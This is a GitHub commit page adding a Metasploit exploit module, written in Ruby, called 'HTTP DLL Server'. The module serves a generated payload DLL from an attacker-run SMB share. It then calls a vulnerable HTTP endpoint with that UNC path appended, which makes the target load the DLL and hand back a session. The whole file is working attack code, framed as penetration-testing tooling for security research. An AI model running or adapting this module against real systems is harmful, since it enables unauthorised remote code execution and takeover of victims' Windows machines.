Skip to content

Commit d4738d8

Browse files
committed
Update rapid7#3076 branch
2 parents a64dd4a + a90ebfe commit d4738d8

File tree

1 file changed

+82
-0
lines changed

1 file changed

+82
-0
lines changed
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
# This is an example implementation of using the Msf::Exploit::Remote::SMBFileServer module
7+
# to serve an arbitrary DLL over HTTP
8+
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::Remote::SMB::Server::Share
14+
include Msf::Exploit::EXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => 'HTTP DLL Server',
19+
'Description' => %q{
20+
This is a general-purpose module for exploiting conditions where a HTTP request
21+
triggers a DLL load from a specified SMB share. This module serves payloads as
22+
DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would
23+
trigger the load of the DLL.
24+
},
25+
'Author' => [
26+
'Matthew Hall <[email protected]>',
27+
],
28+
'Platform' => 'win',
29+
'Privileged' => true,
30+
'Arch' => ARCH_X86,
31+
'References' =>
32+
[
33+
[ 'URL', 'http://www.sec-1.com/blog/'],
34+
],
35+
'DefaultOptions' =>
36+
{
37+
'EXITFUNC' => 'thread',
38+
},
39+
'Privileged' => true,
40+
'Platform' => [ 'win'],
41+
'Targets' =>
42+
[
43+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
44+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
45+
],
46+
'DefaultTarget' => 0, # Default target is 32-bit as we usually inject into 32bit processes
47+
))
48+
register_options(
49+
[
50+
OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll']),
51+
OptString.new('URI', [true, 'Path to vulnerable URI (last argument will be the location of the file shared)', '/path/to/vulnerable/function.ext?argument=' ]),
52+
OptBool.new('StripExt', [false, 'Boolean to whether I should strip the file extension (e.g. foo.dll => foo)', true]),
53+
], self.class)
54+
deregister_options('FILE_CONTENTS')
55+
end
56+
57+
def primer
58+
self.file_contents = generate_payload_dll
59+
print_status("File available on #{unc}...")
60+
if datastore['StripExt']
61+
share = "#{unc}".gsub(/\.dll/,'')
62+
else
63+
share = "#{unc}"
64+
end
65+
print_status("Requesting DLL load to #{datastore['RHOST']}:#{datastore['RPORT']} from #{share}")
66+
67+
sploit = datastore['URI']
68+
sploit << share
69+
70+
res = send_request_raw({
71+
'method' => 'GET',
72+
'uri' => sploit
73+
}, 5)
74+
75+
# Wait 30 seconds for session to be created
76+
1.upto(30) do
77+
break if session_created?
78+
sleep(1)
79+
end
80+
disconnect
81+
end
82+
end

0 commit comments

Comments
 (0)